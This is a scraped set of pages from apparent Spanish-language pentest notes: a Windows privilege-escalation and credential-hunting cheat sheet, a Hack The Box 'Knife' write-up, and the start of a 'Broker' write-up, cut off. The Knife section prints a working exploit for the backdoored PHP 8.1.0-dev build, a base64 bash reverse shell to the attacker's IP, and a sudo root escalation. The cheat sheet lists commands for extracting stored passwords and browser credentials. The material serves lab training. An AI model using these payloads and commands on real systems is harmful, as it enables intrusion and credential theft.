[**UAC (User Account Control) Bypasses**arrow-up-right](https://github.com/hfiref0x/UACME) * [**Impacket Tools**arrow-up-right](https://github.com/fortra/impacket/tree/master/examples) * [**NetCat for Windows**arrow-up-right](https://github.com/int0x33/nc.exe/) **Exploit Suggesters:** * [**winPEAS**arrow-up-right](https://github.com/carlospolop/PEASS-ng/releases) : Windows local Privilege Escalation Awesome Script. * [**Seatbelt**arrow-up-right](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries) : C# local privilege escalation checks. * [**PowerUp**arrow-up-right](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) : PowerShell script for finding common Windows privilege escalation vectors that rely on misconfigurations. * [**SharpUp**arrow-up-right](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries) : C# version of PowerUp . * [**JAWS**arrow-up-right](https://github.com/411Hall/JAWS/tree/master) : PowerShell script for enumerating privilege escalation vectors written in PowerShell 2.0 . * [**Watson**arrow-up-right](https://github.com/rasta-mouse/Watson) : .NET tool to enumerate missing KBs and suggest exploits. * [**Windows Exploit Suggester Next Generation**arrow-up-right](https://github.com/bitsadmin/wesng) * **Metasploit Local Exploit Suggester**: `use post/multi/recon/local_exploit_suggester` on a backgrounded meterpreter sessions . **Credentials:** * [**LaZagne**arrow-up-right](https://github.com/AlessandroZ/LaZagne/releases/) : Retrieve passwords stored on a local machine from Windows password storage mechanisms and many different sources. * [**MimiKatz**arrow-up-right](https://github.com/ParrotSec/mimikatz) : Extract credentials, perform PtH, PtT, craft golden tickets and more. * [**SessionGopher**arrow-up-right](https://github.com/Arvanaghi/SessionGopher) : PowerShell tool to find and decrypt saved session information for remote access tools. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/enumerating-attack-vectors#enumerating-windows-protection) **Enumerating Windows Protection** ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- * Check Windows Defender status: `Get-MpComputerStatus` * List AppLocker rules: `Get-AppLockerPolicy -Effective \| select -ExpandProperty RuleCollections` * Test AppLocker policy: `Get-AppLockerPolicy -Local \| Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/enumerating-attack-vectors#processes-jobs-scheduled-tasks) **Processes, Jobs, Scheduled Tasks** ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ * Dislpay all running processes (PowerShell): `Get-Process` * List named pipes: `pipelist.exe /accepteula` * List named pipes with PowerShell: `gci \\.\pipe\` * Review permissions on a named pipe: `accesschk.exe /accepteula \\.\Pipe\lsass -v` * Display running processes: `tasklist /svc` * Enumerate scheduled tasks: `schtasks /query /fo LIST /v` * Get ACLs for a specific scheduled task: `icacls C:\Users\dude\Desktop\example.exe` * Enumerate scheduled tasks with PowerShell: `Get-ScheduledTask \| select TaskName,State` * Enumerate all Unquoted Service Paths: `wmic service get name,displayname,pathname,startmode \| findstr /i "auto" \| findstr /i /v "c:\windows\\" \| findstr /i /v """` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/enumerating-attack-vectors#kernel-and-os) **Kernel and OS** ------------------------------------------------------------------------------------------------------------------------------------------------------ * Display all environment variables: `set` * View detailed system configuration information: `systeminfo` * Get patches and updates: `wmic qfe` * Get installed programs: `wmic product get name` * Get Installed programs in PowerShell: `Get-WmiObject -Class Win32_Product \| select Name, Version` * Enumerate computer description field: `Get-WmiObject -Class Win32_OperatingSystem \| select Description` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/enumerating-attack-vectors#registries) **Registries** ------------------------------------------------------------------------------------------------------------------------------------------------ * Query for always install elevated registry key (1): `reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer` * Query for always install elevated registry key (2): `reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer` * Find PuTTY clear-text credentials: `reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Session\` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/enumerating-attack-vectors#users-and-groups) **Users and Groups** ------------------------------------------------------------------------------------------------------------------------------------------------------------ * Get logged-in users: `query user` * Get current user: `echo %USERNAME%` * View current user privileges: `whoami /priv` * View current user group information: `whoami /groups` * Get all system user: `net user` * Get all system groups: `net localgroup` * View details about a group: `net localgroup administrators` * Get password policy: `net accounts` * Check permissions on a directory: `.\accesschk64.exe /accepteula -s -d C:\Scripts\` * Check local user description field: `Get-LocalUser` * Run commands as another user (requires their password): `runas /user:backupadmin cmd` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/enumerating-attack-vectors#network-related) **Network-Related** ---------------------------------------------------------------------------------------------------------------------------------------------------------- * Display active network connections: `netstat -ano` * Get interface, IP address and DNS information: `ipconfig /all` * Review ARP table: `arp -a` * Review routing table: `route print` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/enumerating-attack-vectors#installed-applications) **Installed Applications** ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ check installed applications: `Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname` check installed applications (alternative): `Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/enumerating-attack-vectors#credential-hunting) **Credential Hunting** ---------------------------------------------------------------------------------------------------------------------------------------------------------------- * Search common configuration files containing the word "password": `findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml` * Searching file contents for a string: `findstr /spin "password" *.*` * Search file contents with PowerShell: `select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password` * Search for file extensions: `dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*` * Search for file extensions (alternative): `Get-ChildItem -Path C:\ -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue` * Search for file extensions using PowerShell: `Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore` * List `cmdkey` saved credentials (in memory): `cmdkey /list` * Run SessionGopher to extract credentials: `Import-Module .\SessionGopher.ps1` → `Invoke-SessionGopher -Target WINLPE-SRV01` * Retrieve saved Chrome credentials: `.\SharpChrome.exe logins /unprotect` * Search Chrome Dictionary Files containing passwords: `gc 'C:\Users\username\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' \| Select-String password` * Read the PowerShell History File: `gc (Get-PSReadLineOption).HistorySavePath` * Retrieve saved wireless passwords: `netsh wlan show profile WIFINAME key=clear` * Enumerate unattended installation files (files named `unattend.xml`) which may contain passwords, which are stored in plaintext or base64 * Enumerate `.kdbx` KeePass files and extract credentials using `python2.7 keepass2john.py file.kdbx`, followed by `hashcat -m 13400` * Extract clipboard (copy-paste) data: `git clone https://github.com/inguardians/Invoke-Clipboard/blob/master/Invoke-Clipboard.ps1` * Search current user's history file content (PowerShell): `Get-History` * Find all accessible PowerShell history files: `foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}` * Display a user's specific history file's content: `type C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt` * Retrieve password from Windows Sticky Notes: `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` [PreviousPriveEsc checklistchevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/privilege-escalation-checklist) [NextExcessive User Rights Abusechevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse) Last updated 11 months ago * [Helpful Tools](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/enumerating-attack-vectors#helpful-tools) * [Enumerating Windows Protection](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/enumerating-attack-vectors#enumerating-windows-protection) * [Processes, Jobs, Scheduled Tasks](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/enumerating-attack-vectors#processes-jobs-scheduled-tasks) * [Kernel and OS](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/enumerating-attack-vectors#kernel-and-os) * [Registries](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/enumerating-attack-vectors#registries) * [Users and Groups](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/enumerating-attack-vectors#users-and-groups) * [Network-Related](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/enumerating-attack-vectors#network-related) * [Installed Applications](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/enumerating-attack-vectors#installed-applications) * [Credential Hunting](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/enumerating-attack-vectors#credential-hunting) --- # TryHackMe | Pentest Notes [PreviousFlightchevron-left](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/hard/flight) [NextRoad to certificationchevron-right](https://x3m1sec.gitbook.io/notes/my-certifications) Last updated 10 months ago --- # Windows | Pentest Notes [Easychevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy) [Mediumchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/medium) [Hardchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/hard) [PreviousHardchevron-left](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/hard) [NextEasychevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy) Last updated 9 months ago --- # Easy | Pentest Notes [Jerrychevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy/jerry) [NetMonchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy/netmon) [Servmonchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy/servmon) [Bountychevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy/bounty) [Arcticchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy/arctic) [Buffchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy/buff) [Lovechevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy/love) [Accesschevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy/access) [Mailingchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy/mailing) [Heistchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy/heist) [Activechevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy/active) [Forestchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy/forest) [Saunachevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy/sauna) [Timelapsechevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy/timelapse) [Returnchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy/return) [Cicadachevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy/cicada) [EscapeTwochevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy/escapetwo) [PreviousWindowschevron-left](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows) [NextJerrychevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/easy/jerry) Last updated 9 months ago --- # Knife | Pentest Notes ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-3b0bb1c35abcf8e7b7992340d7a1a729cf4675e8%252FPasted%2520image%252020250513184636.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=76a194f&sv=2) **Publicado:** 13 de Mayo de 2025 **Autor:** José Miguel Romero aKa **x3m1Sec** **Dificultad:** ⭐ Easy ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/knife#descripcion) 📝 Descripción La máquina "Knife" es un sistema Linux vulnerable que ejecuta un servidor web Apache con PHP 8.1.0-dev. Esta versión específica de PHP contiene un backdoor que permite la ejecución remota de comandos mediante la manipulación de la cabecera HTTP "User-Agentt". La explotación inicial permite obtener acceso como el usuario "james", quien tiene privilegios para ejecutar el binario "knife" como root sin contraseña, lo que permite una fácil escalada de privilegios al sistema. ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/knife#metodologia) 🚀 Metodología ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/knife#reconocimiento) 🔭 Reconocimiento #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/knife#ping-para-verificacion-en-base-a-ttl) Ping para verificación en base a TTL > 💡 **Nota**: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux. #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/knife#escaneo-de-puertos) Escaneo de puertos #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/knife#enumeracion-de-servicios) Enumeración de servicios * * * ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/knife#enumeracion-web) 🌐 Enumeración Web #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/knife#id-80-http-apache-httpd-2.4.41) 80 HTTP (Apache httpd 2.4.41) ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-12fdce578c9e21b4f233df2c3746fd1b1654acdd%252FPasted%2520image%252020250513190131.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=8b98ca30&sv=2) Tras enumerar la página, no se ve a priori gran cosa que se pueda hacer en ella. **🕷️Fuzzing de directorios** Tras probar a realizar fuzzing de directorios con gobuster y feroxbuster tampoco logramos añadir ningún nuevo recurso a nuestro scope: #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/knife#enumerando-tecnologias-con-wappalyzer) Enumerando tecnologías con wappalyzer Al enumerar las tecnologías empleadas en el sitio web, sí que llama algo la atención, la versión de PHP que está usando el sitio web podría backdorizable: ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-e8bb1f1361911fdbee43bdf8b1655c3dbe1e8cc1%252FPasted%2520image%252020250513190456.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=168c756f&sv=2) ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/knife#explotacion-opcion-a-usando-exploit) 💻 Explotación (Opción A usando exploit) Una versión temprana de PHP, la versión PHP 8.1.0-dev fue lanzada con una puerta trasera el 28 de marzo de 2021, pero la puerta trasera fue rápidamente descubierta y eliminada. Si esta versión de PHP se ejecuta en un servidor, un atacante puede ejecutar código arbitrario mediante el envío de la cabecera User-Agentt. El siguiente exploit utiliza el backdoor para proporcionar un pseudo shell ont el host. Y existen algunos exploits para esta vulnerabilidad: https://www.exploit-db.com/exploits/49933 A continuación lo ejecutamos de la siguiente forma para obtener una shell interactiva con el host remoto: Un mensaje de error no indica que no se ha podido cargar la tty por lo que tenemos una consola un poco limitada. ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/knife#explotacion-opcion-b-usando-reverse-shell-y-curl) 💻 Explotación (Opción B usando reverse shell y curl) Generamos una bash reverse shell que codificaremos en base64 Posteriormente, dado que problema de esta versión es que se publicó con una puerta trasera (_backdoor_). Si se pone la cabecera `User-Agentt: zerodiumsystem("codigo reverseshell");` obtendremos acceso remoto al host #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/knife#mejora-de-la-shell) Mejora de la shell En nuestro host de ataque En el host comprometido #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/knife#escalada-de-privilegios) 👑 Escalada de privilegios Verificamos si james puede ejecutar algún binario como root: Encontramos información sobre este binario y las posibles opciones para llevar a cabo la escalada de privilegios debido a una missconfiguration: https://gtfobins.github.io/gtfobins/knife/ ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-f5537674feaae90638ff3cbef4996c024e714da6%252FPasted%2520image%252020250513192503.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=4d1e9c23&sv=2) [PreviousKeeperchevron-left](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/keeper) [NextPilgrimagechevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/pilgrimage) Last updated 9 months ago * [📝 Descripción](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/knife#descripcion) * [🚀 Metodología](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/knife#metodologia) * [🔭 Reconocimiento](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/knife#reconocimiento) * [🌐 Enumeración Web](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/knife#enumeracion-web) * [💻 Explotación (Opción A usando exploit)](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/knife#explotacion-opcion-a-usando-exploit) * [💻 Explotación (Opción B usando reverse shell y curl)](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/knife#explotacion-opcion-b-usando-reverse-shell-y-curl) Copy ❯ ping -c2 10.10.10.242 PING 10.10.10.242 (10.10.10.242) 56(84) bytes of data. 64 bytes from 10.10.10.242: icmp_seq=1 ttl=63 time=47.2 ms 64 bytes from 10.10.10.242: icmp_seq=2 ttl=63 time=46.6 ms --- 10.10.10.242 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1019ms rtt min/avg/max/mdev = 46.552/46.885/47.218/0.333 ms Copy ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.242 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//) Copy ❯ echo $ports 22,80 Copy ❯ nmap -sC -sV -p$ports 10.10.10.242 -oN services.txt Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-13 18:49 CEST Nmap scan report for 10.10.10.242 Host is up (0.047s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA) | 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA) |_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Emergent Medical Idea |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.43 seconds Copy gobuster dir -u http://10.10.10.242 -w /usr/share/seclists/Discovery/Web-Content/common.txt -b 403,404,502 -x .php, .txt, .xml -r Copy feroxbuster -u http://10.10.10.242 -r -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --scan-dir-listings -C 404 Copy #!/usr/bin/env python3 import os import re import requests host = input("Enter the full host url:\n") request = requests.Session() response = request.get(host) if str(response) == '': print("\nInteractive shell is opened on", host, "\nCan't acces tty; job crontol turned off.") try: while 1: cmd = input("$ ") headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "User-Agentt": "zerodiumsystem('" + cmd + "');" } response = request.get(host, headers = headers, allow_redirects = False) current_page = response.text stdout = current_page.split('',1) text = print(stdout[0]) except KeyboardInterrupt: print("Exiting...") exit else: print("\r") print(response) print("Host is not available, aborting...") exit Copy python3 backexploit.py Enter the full host url: http://10.10.10.242 Interactive shell is opened on http://10.10.10.242 Can't acces tty; job crontol turned off. $ Copy echo -n 'bash -i >& /dev/tcp/10.10.14.7/4444 0>&1' | base64 YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNy80NDQ0IDA+JjE= Copy nc -nlvp 444 Copy curl 10.10.10.242 -H 'User-Agentt: zerodiumsystem("echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNy80NDQ0IDA+JjE= | base64 -d | bash");' Copy nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.10.242] 34250 bash: cannot set terminal process group (947): Inappropriate ioctl for device bash: no job control in this shell james@knife:/$ Copy script /dev/null -c bash Crtl +z (suspended) stty raw -echo;fg reset xterm export TERM=xterm Copy stty size Copy stty rows X columns Y Copy $ sudo -l Matching Defaults entries for james on knife: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User james may run the following commands on knife: (root) NOPASSWD: /usr/bin/knife $ Copy james@knife:/$ sudo -l Matching Defaults entries for james on knife: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User james may run the following commands on knife: (root) NOPASSWD: /usr/bin/knife james@knife:/$ sudo knife exec -E 'exec "/bin/sh"' # id uid=0(root) gid=0(root) groups=0(root) # cd /root # cat root.txt 033ee*********************** # --- # Broker | Pentest Notes ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-7ee99a67b5eb057adf2b6d620fc2ce3025142cba%252FPasted%2520image%252020250507190232.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=9c0a37cc&sv=2) **Publicado:** 07 de Mayo de 2025 **Autor:** José Miguel Romero aka x3m1Sec **Dificultad:** ⭐ Easy ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/broker#descripcion) 📝 Descripción "Broker" es una máquina Linux de dificultad fácil en la plataforma HackTheBox que simula un entorno empresarial con un servidor de mensajería Apache ActiveMQ expuesto. La máquina destaca la importancia de mantener actualizado el software de infraestructura crítica, ya que el vector de ataque principal aprovecha una vulnerabilidad de deserialización (CVE-2023-46604) en ActiveMQ. Esta vulnerabilidad permite la ejecución remota de código sin necesidad de autenticación a través del protocolo OpenWire, lo que posibilita a un atacante obtener acceso inicial al sistema como usuario activemq. Posteriormente, la escalada de privilegios aprovecha una mala configuración en los permisos sudo, que permite al usuario ejecutar nginx como root, facilitando la lectura de archivos privilegiados en el sistema. La máquina es ideal para practicantes que quieran familiarizarse con la explotación de vulnerabilidades en middleware empresarial y técnicas de escalada de privilegios mediante configuraciones mal implementadas. ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/broker#metodologia) 🚀 Metodología ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/broker#reconocimiento) 🔭 Reconocimiento #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/broker#ping-para-verificacion-en-base-a-ttl) Ping para verificación en base a TTL > 💡 **Nota**: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux. #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/broker#escaneo-de-puertos) Escaneo de puertos #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/broker#enumeracion-de-servicios) Enumeración de servicios > ⚠️ **Importante**: El servicio HTTP redirige a `searcher.htb`. Debemos agregar este dominio a nuestro archivo hosts. * * * ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/broker#enumeracion-web) 🌐 Enumeración Web #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/broker#id-80-http) 80 HTTP Al intentar acceder al servidor nginx que está ejecutándose en este puerto encontramos encontramos un panel de autenticación autenticación HTTP básica ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-cff7bdedead5ea84baf0b7467d04a4b108117ed6%252FPasted%2520image%252020250507190920.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=ca0c06fd&sv=2) Al probar con las credenciales básicas `admin:admin`logramos acceder sin mayor problema y observar que se está ejecutado un servicio de colas MQ. ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-a8d9ac6c2c91e91f3f429cb20929fc3bc40b9a3e%252FPasted%2520image%252020250507191303.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=7fd9597&sv=2) Accedemos a las opciones de configuración: ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-79d6afa4e79ce13dec7ea89750cd76a2db909235%252FPasted%2520image%252020250507191443.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=3de3187f&sv=2) Encontramos la versión del servicio que es la 5.15.15, información que ya habíamos logrado enumerar también gracias a banner grabbing de nmap. Buscando información sobre posibles exploits para esta versión encontramos que hay un [CVE-2023-46604arrow-up-right](https://github.com/advisories/GHSA-crg9-44h2-xw35) ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-cfa29f1458777141b1b6c3e2a94e9752a2ea4738%252FPasted%2520image%252020250507192031.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=2b0dfbc&sv=2) ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/broker#explotacion) 💣 Explotación **CVE-2023-46604** CVE-2023-46604 es una vulnerabilidad de deserialización que existe en el protocolo OpenWire de Apache ActiveMQ. Este defecto puede ser explotado por un atacante para ejecutar código arbitrario en el servidor donde se ejecuta ActiveMQ. El exploit script de este repositorio automatiza el proceso de enviar una petición crafteada al servidor para activar la vulnerabilidad. Descargamos el siguiente exploit: Editamos el archivo poc.xml para especificar en la reverse shell nuestro host y puerto de ataque: El exploit necesita ser ejecutado especificando los siguientes argumentos: Necesitamos previamente disponibilizar el payload poc.xml en un servidor web, para ello levantaremos un servidor web con python: Lanzamos el exploit y ganamos acceso remoto al servidor como usuario activemq: ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-24da54a63f6c4e7c7de2e85be7861f53d4c45f1c%252FPasted%2520image%252020250507193434.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=db18a208&sv=2) ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/broker#mejora-de-la-shell) 🛠️ Mejora de la Shell Una vez ingresamos a la máquina, realizamos un spawn de la tty: A continuación Obtenemos la primera flag en el directorio /home/activemq: ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/broker#escalada-de-privilegios) 🔑 Escalada de privilegios Tras enumerar la máquina y no encontrar nada relevante, verificamos si el usuario activemq puede ejecutar algo como sudo: Si ejecutamos nginx vemos que falla porque el puerto 80 está ocupado: 